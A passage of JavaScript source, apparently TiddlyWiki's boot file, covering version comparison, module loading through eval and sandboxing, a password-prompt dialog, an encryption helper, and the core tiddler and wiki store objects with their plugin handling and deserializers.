versionA = $tw.utils.parseVersion(versionStringA) || defaultVersion,
versionB = $tw.utils.parseVersion(versionStringB) || defaultVersion,
diff = [
versionA.major - versionB.major,
versionA.minor - versionB.minor,
versionA.patch - versionB.patch
];
if((diff[0] > 0) || (diff[0] === 0 && diff[1] > 0) || (diff[0] === 0 & diff[1] === 0 & diff[2] > 0)) {
return +1;
} else if((diff[0] < 0) || (diff[0] === 0 && diff[1] < 0) || (diff[0] === 0 & diff[1] === 0 & diff[2] < 0)) {
return -1;
} else {
return 0;
}
};
/*
Returns true if the version string A is greater than the version string B. Returns true if the versions are the same
*/
$tw.utils.checkVersions = function(versionStringA,versionStringB) {
return $tw.utils.compareVersions(versionStringA,versionStringB) !== -1;
};
/*
Register file type information
options: {flags: flags,deserializerType: deserializerType}
flags:"image" for image types
deserializerType: defaults to type if not specified
*/
$tw.utils.registerFileType = function(type,encoding,extension,options) {
options = options || {};
if($tw.utils.isArray(extension)) {
$tw.utils.each(extension,function(extension) {
$tw.config.fileExtensionInfo[extension] = {type: type};
});
extension = extension[0];
} else {
$tw.config.fileExtensionInfo[extension] = {type: type};
}
$tw.config.contentTypeInfo[type] = {encoding: encoding, extension: extension, flags: options.flags || [], deserializerType: options.deserializerType || type};
};
/*
Given an extension, always access the $tw.config.fileExtensionInfo
using a lowercase extension only.
*/
$tw.utils.getFileExtensionInfo = function(ext) {
return ext ? $tw.config.fileExtensionInfo[ext.toLowerCase()] : null;
}
/*
Given an extension, get the correct encoding for that file.
defaults to utf8
*/
$tw.utils.getTypeEncoding = function(ext) {
var extensionInfo = $tw.utils.getFileExtensionInfo(ext),
type = extensionInfo ? extensionInfo.type : null,
typeInfo = type ? $tw.config.contentTypeInfo[type] : null;
return typeInfo ? typeInfo.encoding : "utf8";
};
/*
Run code globally with specified context variables in scope
*/
$tw.utils.evalGlobal = function(code,context,filename) {
var contextCopy = $tw.utils.extend(Object.create(null),context);
// Get the context variables as a pair of arrays of names and values
var contextNames = [], contextValues = [];
$tw.utils.each(contextCopy,function(value,name) {
contextNames.push(name);
contextValues.push(value);
});
// Add the code prologue and epilogue
code = "(function(" + contextNames.join(",") + ") {(function(){\n" + code + "\n;})();\nreturn exports;\n})\n";
// Compile the code into a function
var fn;
if($tw.browser) {
fn = window["eval"](code + "\n\n//# sourceURL=" + filename);
} else {
fn = vm.runInThisContext(code,filename);
}
// Call the function and return the exports
return fn.apply(null,contextValues);
};
/*
Run code in a sandbox with only the specified context variables in scope
*/
$tw.utils.evalSandboxed = $tw.browser ? $tw.utils.evalGlobal : function(code,context,filename) {
var sandbox = $tw.utils.extend(Object.create(null),context);
vm.runInNewContext(code,sandbox,filename);
return sandbox.exports;
};
/*
Creates a PasswordPrompt object
*/
$tw.utils.PasswordPrompt = function() {
// Store of pending password prompts
this.passwordPrompts = [];
// Create the wrapper
this.promptWrapper = $tw.utils.domMaker("div",{"class":"tc-password-wrapper"});
document.body.appendChild(this.promptWrapper);
// Hide the empty wrapper
this.setWrapperDisplay();
};
/*
Hides or shows the wrapper depending on whether there are any outstanding prompts
*/
$tw.utils.PasswordPrompt.prototype.setWrapperDisplay = function() {
if(this.passwordPrompts.length) {
this.promptWrapper.style.display = "block";
} else {
this.promptWrapper.style.display = "none";
}
};
/*
Adds a new password prompt. Options are:
submitText: text to use for submit button (defaults to "Login")
serviceName: text of the human readable service name
noUserName: set true to disable username prompt
canCancel: set true to enable a cancel button (callback called with null)
repeatPassword: set true to prompt for the password twice
callback: function to be called on submission with parameter of object {username:,password:}. Callback must return `true` to remove the password prompt
*/
$tw.utils.PasswordPrompt.prototype.createPrompt = function(options) {
// Create and add the prompt to the DOM
var self = this,
submitText = options.submitText || "Login",
dm = $tw.utils.domMaker,
children = [dm("h1",{text: options.serviceName})];
if(!options.noUserName) {
children.push(dm("input",{
attributes: {type: "text", name: "username", placeholder: $tw.language.getString("Encryption/Username")}
}));
}
children.push(dm("input",{
attributes: {
type: "password",
name: "password",
placeholder: ( $tw.language == undefined ? "Password" : $tw.language.getString("Encryption/Password") )
}
}));
if(options.repeatPassword) {
children.push(dm("input",{
attributes: {
type: "password",
name: "password2",
placeholder: $tw.language.getString("Encryption/RepeatPassword")
}
}));
}
if(options.canCancel) {
children.push(dm("button",{
text: $tw.language.getString("Encryption/Cancel"),
attributes: {
type: "button"
},
eventListeners: [{
name: "click",
handlerFunction: function(event) {
self.removePrompt(promptInfo);
options.callback(null);
}
}]
}));
}
children.push(dm("button",{
attributes: {type: "submit"},
text: submitText
}));
var form = dm("form",{
attributes: {autocomplete: "off"},
children: children
});
this.promptWrapper.appendChild(form);
window.setTimeout(function() {
form.elements[0].focus();
},10);
// Add a submit event handler
var self = this;
form.addEventListener("submit",function(event) {
// Collect the form data
var data = {},t;
$tw.utils.each(form.elements,function(element) {
if(element.name && element.value) {
data[element.name] = element.value;
}
});
// Check that the passwords match
if(options.repeatPassword && data.password !== data.password2) {
alert($tw.language.getString("Encryption/PasswordNoMatch"));
} else {
// Call the callback
if(options.callback(data)) {
// Remove the prompt if the callback returned true
self.removePrompt(promptInfo);
} else {
// Clear the password if the callback returned false
$tw.utils.each(form.elements,function(element) {
if(element.name === "password" || element.name === "password2") {
element.value = "";
}
});
}
}
event.preventDefault();
return false;
},true);
// Add the prompt to the list
var promptInfo = {
serviceName: options.serviceName,
callback: options.callback,
form: form,
owner: this
};
this.passwordPrompts.push(promptInfo);
// Make sure the wrapper is displayed
this.setWrapperDisplay();
return promptInfo;
};
$tw.utils.PasswordPrompt.prototype.removePrompt = function(promptInfo) {
var i = this.passwordPrompts.indexOf(promptInfo);
if(i !== -1) {
this.passwordPrompts.splice(i,1);
promptInfo.form.parentNode.removeChild(promptInfo.form);
this.setWrapperDisplay();
}
}
/*
Crypto helper object for encrypted content. It maintains the password text in a closure, and provides methods to change
the password, and to encrypt/decrypt a block of text
*/
$tw.utils.Crypto = function() {
var sjcl = $tw.node ? (global.sjcl || require("./sjcl.js")) : window.sjcl,
currentPassword = null,
callSjcl = function(method,inputText,password) {
password = password || currentPassword;
var outputText;
try {
if(password) {
outputText = sjcl[method](password,inputText);
}
} catch(ex) {
console.log("Crypto error:" + ex);
outputText = null;
}
return outputText;
};
this.setPassword = function(newPassword) {
currentPassword = newPassword;
this.updateCryptoStateTiddler();
};
this.updateCryptoStateTiddler = function() {
if($tw.wiki) {
var state = currentPassword ? "yes" : "no",
tiddler = $tw.wiki.getTiddler("$:/isEncrypted");
if(!tiddler || tiddler.fields.text !== state) {
$tw.wiki.addTiddler(new $tw.Tiddler({title: "$:/isEncrypted", text: state}));
}
}
};
this.hasPassword = function() {
return !!currentPassword;
}
this.encrypt = function(text,password) {
return callSjcl("encrypt",text,password);
};
this.decrypt = function(text,password) {
return callSjcl("decrypt",text,password);
};
};
/////////////////////////// Module mechanism
/*
Execute the module named 'moduleName'. The name can optionally be relative to the module named 'moduleRoot'
*/
$tw.modules.execute = function(moduleName,moduleRoot) {
var name = moduleName;
if(moduleName.charAt(0) === ".") {
name = $tw.utils.resolvePath(moduleName,moduleRoot)
}
if(!$tw.modules.titles[name]) {
if($tw.modules.titles[name + ".js"]) {
name = name + ".js";
} else if($tw.modules.titles[name + "/index.js"]) {
name = name + "/index.js";
} else if($tw.modules.titles[moduleName]) {
name = moduleName;
} else if($tw.modules.titles[moduleName + ".js"]) {
name = moduleName + ".js";
} else if($tw.modules.titles[moduleName + "/index.js"]) {
name = moduleName + "/index.js";
}
}
var moduleInfo = $tw.modules.titles[name],
tiddler = $tw.wiki.getTiddler(name),
_exports = {},
sandbox = {
module: {exports: _exports},
//moduleInfo: moduleInfo,
exports: _exports,
console: console,
setInterval: setInterval,
clearInterval: clearInterval,
setTimeout: setTimeout,
clearTimeout: clearTimeout,
Buffer: $tw.browser ? undefined : Buffer,
$tw: $tw,
require: function(title) {
return $tw.modules.execute(title, name);
}
};
Object.defineProperty(sandbox.module, "id", {
value: name,
writable: false,
enumerable: true,
configurable: false
});
if(!$tw.browser) {
$tw.utils.extend(sandbox,{
process: process
});
} else {
/*
CommonJS optional require.main property:
In a browser we offer a fake main module which points back to the boot function
(Theoretically, this may allow TW to eventually load itself as a module in the browser)
*/
Object.defineProperty(sandbox.require, "main", {
value: (typeof(require) !== "undefined") ? require.main : {TiddlyWiki: _boot},
writable: false,
enumerable: true,
configurable: false
});
}
if(!moduleInfo) {
// We could not find the module on this path
// Try to defer to browserify etc, or node
var deferredModule;
if($tw.browser) {
if(window.require) {
try {
return window.require(moduleName);
} catch(e) {}
}
throw "Cannot find module named '" + moduleName + "' required by module '" + moduleRoot + "', resolved to " + name;
} else {
// If we don't have a module with that name, let node.js try to find it
return require(moduleName);
}
}
// Execute the module if we haven't already done so
if(!moduleInfo.exports) {
try {
// Check the type of the definition
if(typeof moduleInfo.definition === "function") { // Function
moduleInfo.exports = _exports;
moduleInfo.definition(moduleInfo,moduleInfo.exports,sandbox.require);
} else if(typeof moduleInfo.definition === "string") { // String
moduleInfo.exports = _exports;
$tw.utils.evalSandboxed(moduleInfo.definition,sandbox,tiddler.fields.title);
if(sandbox.module.exports) {
moduleInfo.exports = sandbox.module.exports; //more codemirror workaround
}
} else { // Object
moduleInfo.exports = moduleInfo.definition;
}
} catch(e) {
if (e instanceof SyntaxError) {
var line = e.lineNumber || e.line; // Firefox || Safari
if (typeof(line) != "undefined" && line !== null) {
$tw.utils.error("Syntax error in boot module " + name + ":" + line + ":\n" + e.stack);
} else if(!$tw.browser) {
// this is the only way to get node.js to display the line at which the syntax error appeared,
// and $tw.utils.error would exit anyway
// cf. https://bugs.chromium.org/p/v8/issues/detail?id=2589
throw e;
} else {
// Opera: line number is included in e.message
// Chrome/IE: there's currently no way to get the line number
$tw.utils.error("Syntax error in boot module " + name + ": " + e.message + "\n" + e.stack);
}
} else {
// line number should be included in e.stack for runtime errors
$tw.utils.error("Error executing boot module " + name + ": " + JSON.stringify(e) + "\n\n" + e.stack);
}
}
}
// Return the exports of the module
return moduleInfo.exports;
};
/*
Apply a callback to each module of a particular type
moduleType: type of modules to enumerate
callback: function called as callback(title,moduleExports) for each module
*/
$tw.modules.forEachModuleOfType = function(moduleType,callback) {
var modules = $tw.modules.types[moduleType];
$tw.utils.each(modules,function(element,title) {
callback(title,$tw.modules.execute(title));
});
};
/*
Get all the modules of a particular type in a hashmap by their `name` field
*/
$tw.modules.getModulesByTypeAsHashmap = function(moduleType,nameField) {
nameField = nameField || "name";
var results = Object.create(null);
$tw.modules.forEachModuleOfType(moduleType,function(title,module) {
results[module[nameField]] = module;
});
return results;
};
/*
Apply the exports of the modules of a particular type to a target object
*/
$tw.modules.applyMethods = function(moduleType,targetObject) {
if(!targetObject) {
targetObject = Object.create(null);
}
$tw.modules.forEachModuleOfType(moduleType,function(title,module) {
$tw.utils.each(module,function(element,title,object) {
targetObject[title] = module[title];
});
});
return targetObject;
};
/*
Return a class created from a modules. The module should export the properties to be added to those of the optional base class
*/
$tw.modules.createClassFromModule = function(moduleExports,baseClass) {
var newClass = function() {};
if(baseClass) {
newClass.prototype = new baseClass();
newClass.prototype.constructor = baseClass;
}
$tw.utils.extend(newClass.prototype,moduleExports);
return newClass;
};
/*
Return an array of classes created from the modules of a specified type. Each module should export the properties to be added to those of the optional base class
*/
$tw.modules.createClassesFromModules = function(moduleType,subType,baseClass) {
var classes = Object.create(null);
$tw.modules.forEachModuleOfType(moduleType,function(title,moduleExports) {
if(!subType || moduleExports.types[subType]) {
classes[moduleExports.name] = $tw.modules.createClassFromModule(moduleExports,baseClass);
}
});
return classes;
};
/////////////////////////// Barebones tiddler object
/*
Construct a tiddler object from a hashmap of tiddler fields. If multiple hasmaps are provided they are merged,
taking precedence to the right
*/
$tw.Tiddler = function(/* [fields,] fields */) {
this.fields = Object.create(null);
this.cache = Object.create(null);
for(var c=0; c<arguments.length; c++) {
var arg = arguments[c],
src = (arg instanceof $tw.Tiddler) ? arg.fields : arg;
for(var t in src) {
if(src[t] === undefined || src[t] === null) {
if(t in this.fields) {
delete this.fields[t]; // If we get a field that's undefined, delete any previous field value
}
} else {
// Parse the field with the associated field module (if any)
var fieldModule = $tw.Tiddler.fieldModules[t],
value;
if(fieldModule && fieldModule.parse) {
value = fieldModule.parse.call(this,src[t]);
} else {
value = src[t];
}
// Freeze the field to keep it immutable
if(value != null && typeof value === "object") {
Object.freeze(value);
}
this.fields[t] = value;
}
}
}
// Freeze the tiddler against modification
Object.freeze(this.fields);
Object.freeze(this);
};
$tw.Tiddler.prototype.hasField = function(field) {
return $tw.utils.hop(this.fields,field);
};
/*
Compare two tiddlers for equality
tiddler: the tiddler to compare
excludeFields: array of field names to exclude from the comparison
*/
$tw.Tiddler.prototype.isEqual = function(tiddler,excludeFields) {
if(!(tiddler instanceof $tw.Tiddler)) {
return false;
}
excludeFields = excludeFields || [];
var self = this,
differences = []; // Fields that have differences
// Add to the differences array
function addDifference(fieldName) {
// Check for this field being excluded
if(excludeFields.indexOf(fieldName) === -1) {
// Save the field as a difference
$tw.utils.pushTop(differences,fieldName);
}
}
// Returns true if the two values of this field are equal
function isFieldValueEqual(fieldName) {
var valueA = self.fields[fieldName],
valueB = tiddler.fields[fieldName];
// Check for identical string values
if(typeof(valueA) === "string" && typeof(valueB) === "string" && valueA === valueB) {
return true;
}
// Check for identical array values
if($tw.utils.isArray(valueA) && $tw.utils.isArray(valueB) && $tw.utils.isArrayEqual(valueA,valueB)) {
return true;
}
// Check for identical date values
if($tw.utils.isDate(valueA) && $tw.utils.isDate(valueB) && valueA.getTime() === valueB.getTime()) {
return true;
}
// Otherwise the fields must be different
return false;
}
// Compare our fields
for(var fieldName in this.fields) {
if(!isFieldValueEqual(fieldName)) {
addDifference(fieldName);
}
}
// There's a difference for every field in the other tiddler that we don't have
for(fieldName in tiddler.fields) {
if(!(fieldName in this.fields)) {
addDifference(fieldName);
}
}
// Return whether there were any differences
return differences.length === 0;
};
/*
Register and install the built in tiddler field modules
*/
$tw.modules.define("$:/boot/tiddlerfields/modified","tiddlerfield",{
name: "modified",
parse: $tw.utils.parseDate,
stringify: $tw.utils.stringifyDate
});
$tw.modules.define("$:/boot/tiddlerfields/created","tiddlerfield",{
name: "created",
parse: $tw.utils.parseDate,
stringify: $tw.utils.stringifyDate
});
$tw.modules.define("$:/boot/tiddlerfields/color","tiddlerfield",{
name: "color",
editTag: "input",
editType: "color"
});
$tw.modules.define("$:/boot/tiddlerfields/tags","tiddlerfield",{
name: "tags",
parse: $tw.utils.parseStringArray,
stringify: $tw.utils.stringifyList
});
$tw.modules.define("$:/boot/tiddlerfields/list","tiddlerfield",{
name: "list",
parse: $tw.utils.parseStringArray,
stringify: $tw.utils.stringifyList
});
/////////////////////////// Barebones wiki store
/*
Wiki constructor. State is stored in private members that only a small number of privileged accessor methods have direct access. Methods added via the prototype have to use these accessors and cannot access the state data directly.
options include:
enableIndexers - Array of indexer names to enable, or null to use all available indexers
*/
$tw.Wiki = function(options) {
options = options || {};
var self = this,
tiddlers = Object.create(null), // Hashmap of tiddlers
tiddlerTitles = null, // Array of tiddler titles
getTiddlerTitles = function() {
if(!tiddlerTitles) {
tiddlerTitles = Object.keys(tiddlers).sort(function(a,b) {return a.localeCompare(b);});
}
return tiddlerTitles;
},
pluginTiddlers = [], // Array of tiddlers containing registered plugins, ordered by priority
pluginInfo = Object.create(null), // Hashmap of parsed plugin content
shadowTiddlers = Object.create(null), // Hashmap by title of {source:, tiddler:}
shadowTiddlerTitles = null,
getShadowTiddlerTitles = function() {
if(!shadowTiddlerTitles) {
shadowTiddlerTitles = Object.keys(shadowTiddlers);
}
return shadowTiddlerTitles;
},
enableIndexers = options.enableIndexers || null,
indexers = [],
indexersByName = Object.create(null);
this.addIndexer = function(indexer,name) {
// Bail if this indexer is not enabled
if(enableIndexers && enableIndexers.indexOf(name) === -1) {
return;
}
indexers.push(indexer);
indexersByName[name] = indexer;
indexer.init();
};
this.getIndexer = function(name) {
return indexersByName[name] || null;
};
// Add a tiddler to the store
this.addTiddler = function(tiddler) {
if(!(tiddler instanceof $tw.Tiddler)) {
tiddler = new $tw.Tiddler(tiddler);
}
// Save the tiddler
if(tiddler) {
var title = tiddler.fields.title;
if(title) {
// Uncomment the following line for detailed logs of all tiddler writes
// console.log("Adding",title,tiddler)
// Record the old tiddler state
var updateDescriptor = {
old: {
tiddler: this.getTiddler(title),
shadow: this.isShadowTiddler(title),
exists: this.tiddlerExists(title)
}
}
// Save the new tiddler
tiddlers[title] = tiddler;
// Check we've got the title
tiddlerTitles = $tw.utils.insertSortedArray(tiddlerTitles || [],title);
// Record the new tiddler state
updateDescriptor["new"] = {
tiddler: tiddler,
shadow: this.isShadowTiddler(title),
exists: this.tiddlerExists(title)
}
// Update indexes
this.clearCache(title);
this.clearGlobalCache();
$tw.utils.each(indexers,function(indexer) {
indexer.update(updateDescriptor);
});
// Queue a change event
this.enqueueTiddlerEvent(title);
}
}
};
// Delete a tiddler
this.deleteTiddler = function(title) {
// Uncomment the following line for detailed logs of all tiddler deletions
// console.log("Deleting",title)
if($tw.utils.hop(tiddlers,title)) {
// Record the old tiddler state
var updateDescriptor = {
old: {
tiddler: this.getTiddler(title),
shadow: this.isShadowTiddler(title),
exists: this.tiddlerExists(title)
}
}
// Delete the tiddler
delete tiddlers[title];
// Delete it from the list of titles
if(tiddlerTitles) {
var index = tiddlerTitles.indexOf(title);
if(index !== -1) {
tiddlerTitles.splice(index,1);
}
}
// Record the new tiddler state
updateDescriptor["new"] = {
tiddler: this.getTiddler(title),
shadow: this.isShadowTiddler(title),
exists: this.tiddlerExists(title)
}
// Update indexes
this.clearCache(title);
this.clearGlobalCache();
$tw.utils.each(indexers,function(indexer) {
indexer.update(updateDescriptor);
});
// Queue a change event
this.enqueueTiddlerEvent(title,true);
}
};
// Get a tiddler from the store
this.getTiddler = function(title) {
if(title) {
var t = tiddlers[title];
if(t instanceof $tw.Tiddler) {
return t;
} else if(title !== undefined && shadowTiddlers[title]) {
return shadowTiddlers[title].tiddler;
}
return undefined;
}
};
// Get an array of all tiddler titles
this.allTitles = function() {
return getTiddlerTitles().slice(0);
};
// Iterate through all tiddler titles
this.each = function(callback) {
var titles = getTiddlerTitles(),
index,titlesLength,title;
for(index = 0, titlesLength = titles.length; index < titlesLength; index++) {
title = titles[index];
callback(tiddlers[title],title);
}
};
// Get an array of all shadow tiddler titles
this.allShadowTitles = function() {
return getShadowTiddlerTitles().slice(0);
};
// Iterate through all shadow tiddler titles
this.eachShadow = function(callback) {
var titles = getShadowTiddlerTitles(),
index,titlesLength,title;
for(index = 0, titlesLength = titles.length; index < titlesLength; index++) {
title = titles[index];
if(tiddlers[title]) {
callback(tiddlers[title],title);
} else {
var shadowInfo = shadowTiddlers[title];
callback(shadowInfo.tiddler,title);
}
}
};
// Iterate through all tiddlers and then the shadows
this.eachTiddlerPlusShadows = function(callback) {
var index,titlesLength,title,
titles = getTiddlerTitles();
for(index = 0, titlesLength = titles.length; index < titlesLength; index++) {
title = titles[index];
callback(tiddlers[title],title);
}
titles = getShadowTiddlerTitles();
for(index = 0, titlesLength = titles.length; index < titlesLength; index++) {
title = titles[index];
if(!tiddlers[title]) {
var shadowInfo = shadowTiddlers[title];
callback(shadowInfo.tiddler,title);
}
}
};
// Iterate through all the shadows and then the tiddlers
this.eachShadowPlusTiddlers = function(callback) {
var index,titlesLength,title,
titles = getShadowTiddlerTitles();
for(index = 0, titlesLength = titles.length; index < titlesLength; index++) {
title = titles[index];
if(tiddlers[title]) {
callback(tiddlers[title],title);
} else {
var shadowInfo = shadowTiddlers[title];
callback(shadowInfo.tiddler,title);
}
}
titles = getTiddlerTitles();
for(index = 0, titlesLength = titles.length; index < titlesLength; index++) {
title = titles[index];
if(!shadowTiddlers[title]) {
callback(tiddlers[title],title);
}
}
};
// Test for the existence of a tiddler (excludes shadow tiddlers)
this.tiddlerExists = function(title) {
return !!$tw.utils.hop(tiddlers,title);
};
// Determines if a tiddler is a shadow tiddler, regardless of whether it has been overridden by a real tiddler
this.isShadowTiddler = function(title) {
return $tw.utils.hop(shadowTiddlers,title);
};
this.getShadowSource = function(title) {
if($tw.utils.hop(shadowTiddlers,title)) {
return shadowTiddlers[title].source;
}
return null;
};
// Get an array of all the currently recognised plugin types
this.getPluginTypes = function() {
var types = [];
$tw.utils.each(pluginTiddlers,function(pluginTiddler) {
var pluginType = pluginTiddler.fields["plugin-type"];
if(pluginType && types.indexOf(pluginType) === -1) {
types.push(pluginType);
}
});
return types;
};
// Read plugin info for all plugins, or just an array of titles. Returns the number of plugins updated or deleted
this.readPluginInfo = function(titles) {
var results = {
modifiedPlugins: [],
deletedPlugins: []
};
$tw.utils.each(titles || getTiddlerTitles(),function(title) {
var tiddler = tiddlers[title];
if(tiddler) {
if(tiddler.fields.type === "application/json" && tiddler.hasField("plugin-type") && tiddler.fields.text) {
pluginInfo[tiddler.fields.title] = $tw.utils.parseJSONSafe(tiddler.fields.text);
results.modifiedPlugins.push(tiddler.fields.title);
}
} else {
if(pluginInfo[title]) {
delete pluginInfo[title];
results.deletedPlugins.push(title);
}
}
});
return results;
};
// Get plugin info for a plugin
this.getPluginInfo = function(title) {
return pluginInfo[title];
};
// Register the plugin tiddlers of a particular type, or null/undefined for any type, optionally restricting registration to an array of tiddler titles. Return the array of titles affected
this.registerPluginTiddlers = function(pluginType,titles) {
var self = this,
registeredTitles = [],
checkTiddler = function(tiddler,title) {
if(tiddler && tiddler.fields.type === "application/json" && tiddler.fields["plugin-type"] && (!pluginType || tiddler.fields["plugin-type"] === pluginType)) {
var disablingTiddler = self.getTiddler("$:/config/Plugins/Disabled/" + title);
if(title === "$:/core" || !disablingTiddler || (disablingTiddler.fields.text || "").trim() !== "yes") {
self.unregisterPluginTiddlers(null,[title]); // Unregister the plugin if it's already registered
pluginTiddlers.push(tiddler);
registeredTitles.push(tiddler.fields.title);
}
}
};
if(titles) {
$tw.utils.each(titles,function(title) {
checkTiddler(self.getTiddler(title),title);
});
} else {
this.each(function(tiddler,title) {
checkTiddler(tiddler,title);
});
}
return registeredTitles;
};
// Unregister the plugin tiddlers of a particular type, or null/undefined for any type, optionally restricting unregistering to an array of tiddler titles. Returns an array of the titles affected
this.unregisterPluginTiddlers = function(pluginType,titles) {
var self = this,
unregisteredTitles = [];
// Remove any previous registered plugins of this type
for(var t=pluginTiddlers.length-1; t>=0; t--) {
var tiddler = pluginTiddlers[t];
if(tiddler.fields["plugin-type"] && (!pluginType || tiddler.fields["plugin-type"] === pluginType) && (!titles || titles.indexOf(tiddler.fields.title) !== -1)) {
unregisteredTitles.push(tiddler.fields.title);
pluginTiddlers.splice(t,1);
}
}
return unregisteredTitles;
};
// Unpack the currently registered plugins, creating shadow tiddlers for their constituent tiddlers
this.unpackPluginTiddlers = function() {
var self = this;
// Sort the plugin titles by the `plugin-priority` field
pluginTiddlers.sort(function(a,b) {
if("plugin-priority" in a.fields && "plugin-priority" in b.fields) {
return a.fields["plugin-priority"] - b.fields["plugin-priority"];
} else if("plugin-priority" in a.fields) {
return -1;
} else if("plugin-priority" in b.fields) {
return +1;
} else if(a.fields.title < b.fields.title) {
return -1;
} else if(a.fields.title === b.fields.title) {
return 0;
} else {
return +1;
}
});
// Now go through the plugins in ascending order and assign the shadows
shadowTiddlers = Object.create(null);
$tw.utils.each(pluginTiddlers,function(tiddler) {
// Extract the constituent tiddlers
if($tw.utils.hop(pluginInfo,tiddler.fields.title)) {
$tw.utils.each(pluginInfo[tiddler.fields.title].tiddlers,function(constituentTiddler,constituentTitle) {
// Save the tiddler object
if(constituentTitle) {
shadowTiddlers[constituentTitle] = {
source: tiddler.fields.title,
tiddler: new $tw.Tiddler(constituentTiddler,{title: constituentTitle})
};
}
});
}
});
shadowTiddlerTitles = null;
this.clearCache(null);
this.clearGlobalCache();
$tw.utils.each(indexers,function(indexer) {
indexer.rebuild();
});
};
if(this.addIndexersToWiki) {
this.addIndexersToWiki();
}
};
// Dummy methods that will be filled in after boot
$tw.Wiki.prototype.clearCache =
$tw.Wiki.prototype.clearGlobalCache =
$tw.Wiki.prototype.enqueueTiddlerEvent = function() {};
// Add an array of tiddlers
$tw.Wiki.prototype.addTiddlers = function(tiddlers) {
for(var t=0; t<tiddlers.length; t++) {
this.addTiddler(tiddlers[t]);
}
};
/*
Define all modules stored in ordinary tiddlers
*/
$tw.Wiki.prototype.defineTiddlerModules = function() {
this.each(function(tiddler,title) {
if(tiddler.hasField("module-type")) {
switch (tiddler.fields.type) {
case "application/javascript":
// We only define modules that haven't already been defined, because in the browser modules in system tiddlers are defined in inline script
if(!$tw.utils.hop($tw.modules.titles,tiddler.fields.title)) {
$tw.modules.define(tiddler.fields.title,tiddler.fields["module-type"],tiddler.fields.text);
}
break;
case "application/json":
$tw.modules.define(tiddler.fields.title,tiddler.fields["module-type"],$tw.utils.parseJSONSafe(tiddler.fields.text));
break;
case "application/x-tiddler-dictionary":
$tw.modules.define(tiddler.fields.title,tiddler.fields["module-type"],$tw.utils.parseFields(tiddler.fields.text));
break;
}
}
});
};
/*
Register all the module tiddlers that have a module type
*/
$tw.Wiki.prototype.defineShadowModules = function() {
var self = this;
this.eachShadow(function(tiddler,title) {
// Don't define the module if it is overidden by an ordinary tiddler
if(!self.tiddlerExists(title) && tiddler.hasField("module-type")) {
// Define the module
$tw.modules.define(tiddler.fields.title,tiddler.fields["module-type"],tiddler.fields.text);
}
});
};
/*
Enable safe mode by deleting any tiddlers that override a shadow tiddler
*/
$tw.Wiki.prototype.processSafeMode = function() {
var self = this,
overrides = [];
// Find the overriding tiddlers
this.each(function(tiddler,title) {
if(self.isShadowTiddler(title)) {
console.log(title);
overrides.push(title);
}
});
// Assemble a report tiddler
var titleReportTiddler = "TiddlyWiki Safe Mode",
report = [];
report.push("TiddlyWiki has been started in [[safe mode|https://tiddlywiki.com/static/SafeMode.html]]. All plugins are temporarily disabled. Most customisations have been disabled by renaming the following tiddlers:")
// Delete the overrides
overrides.forEach(function(title) {
var tiddler = self.getTiddler(title),
newTitle = "SAFE: " + title;
self.deleteTiddler(title);
self.addTiddler(new $tw.Tiddler(tiddler, {title: newTitle}));
report.push("* [[" + title + "|" + newTitle + "]]");
});
report.push()
this.addTiddler(new $tw.Tiddler({title: titleReportTiddler, text: report.join("\n\n")}));
// Set $:/DefaultTiddlers to point to our report
this.addTiddler(new $tw.Tiddler({title: "$:/DefaultTiddlers", text: "[[" + titleReportTiddler + "]]"}));
};
/*
Extracts tiddlers from a typed block of text, specifying default field values
*/
$tw.Wiki.prototype.deserializeTiddlers = function(type,text,srcFields,options) {
srcFields = srcFields || Object.create(null);
options = options || {};
var deserializer = $tw.Wiki.tiddlerDeserializerModules[options.deserializer],
fields = Object.create(null);
if(!deserializer) {
deserializer = $tw.Wiki.tiddlerDeserializerModules[type];
}
if(!deserializer && $tw.utils.getFileExtensionInfo(type)) {
// If we didn't find the serializer, try converting it from an extension to a content type
type = $tw.utils.getFileExtensionInfo(type).type;
deserializer = $tw.Wiki.tiddlerDeserializerModules[type];
}
if(!deserializer && $tw.config.contentTypeInfo[type]) {
// see if this type has a different deserializer registered with it
type = $tw.config.contentTypeInfo[type].deserializerType;
deserializer = $tw.Wiki.tiddlerDeserializerModules[type];
}
if(!deserializer) {
// If we still don't have a deserializer, treat it as plain text
deserializer = $tw.Wiki.tiddlerDeserializerModules["text/plain"];
}
for(var f in srcFields) {
fields[f] = srcFields[f];
}
if(deserializer) {
return deserializer.call(this,text,fields,type);
} else {
// Return a raw tiddler for unknown types
fields.text = text;
return [fields];
}
};
/*
Register the built in tiddler deserializer modules
*/
var deserializeHeaderComment = function(text,fields) {
var headerCommentRegExp = new RegExp($tw.config.jsModuleHeaderRegExpString,"mg"),
match = headerCommentRegExp.exec(text);
fields.text = text;
if(match) {
fields = $tw.utils.parseFields(match[1].split(/\r?\n\r?\n/mg)[0],fields);
}
return [fields];
};
$tw.modules.define("$:/boot/tiddlerdeserializer/js","tiddlerdeserializer",{
"application/javascript": deserializeHeaderComment
});
$tw.modules.define("$:/boot/tiddlerdeserializer/css","tiddlerdeserializer",{
"text/css": deserializeHeaderComment
});
$tw.modules.define("$:/boot/tiddlerdeserializer/tid","tiddlerdeserializer",{
"application/x-tiddler": function(text,fields) {
var split = text.split(/\r?\n\r?\n/mg);
if(split.length >= 1) {
fields = $tw.utils.parseFields(split[0],fields);
}
if(split.length >= 2) {
fields.text = split.slice(1).join("\n\n");
}
return [fields];
}
});
$tw.modules.define("$:/boot/tiddlerdeserializer/tids","tiddlerdeserializer",{
"application/x-tiddlers": function(text,fields) {
var titles = [],
tiddlers = [],
match = /\r?\n\r?\n/mg.exec(text);
if(match) {
fields = $tw.utils.parseFields(text.substr(0,match.index),fields);
var lines = text.substr(match.index + match[0].length).split(/\r?\n/mg);
for(var t=0; t<lines.length; t++) {
var line = lines[t];
if(line.charAt(0) !== "#") {
var colonPos= line.indexOf(":");
if(colonPos !== -1) {
var tiddler = $tw.utils.extend(Object.create(null),fields);
tiddler.title = (tiddler.title || "") + line.substr(0,colonPos).trim();
if(titles.indexOf(tiddler.title) !== -1) {
console.log("Warning: .multids file contains multiple definitions for " + tiddler.title);
}
titles.push(tiddler.title);
tiddler.text = line.substr(colonPos + 2).trim();
tiddlers.push(tiddler);
}
}
}
}
return tiddlers;
}
});
$tw.modules.define("$:/boot/tiddlerdeserializer/txt","tiddlerdeserializer",{
"text/plain": function(text,fields,type) {
fields.text = text;
fields.type = type || "text/plain";
return [fields];
}
});
$tw.modules.define("$:/boot/tiddlerdeserializer/html","tiddlerdeserializer",{
"text/html": function(text,fields) {
fields.text = text;
fields.type = "text/html";
return [fields];
}
});
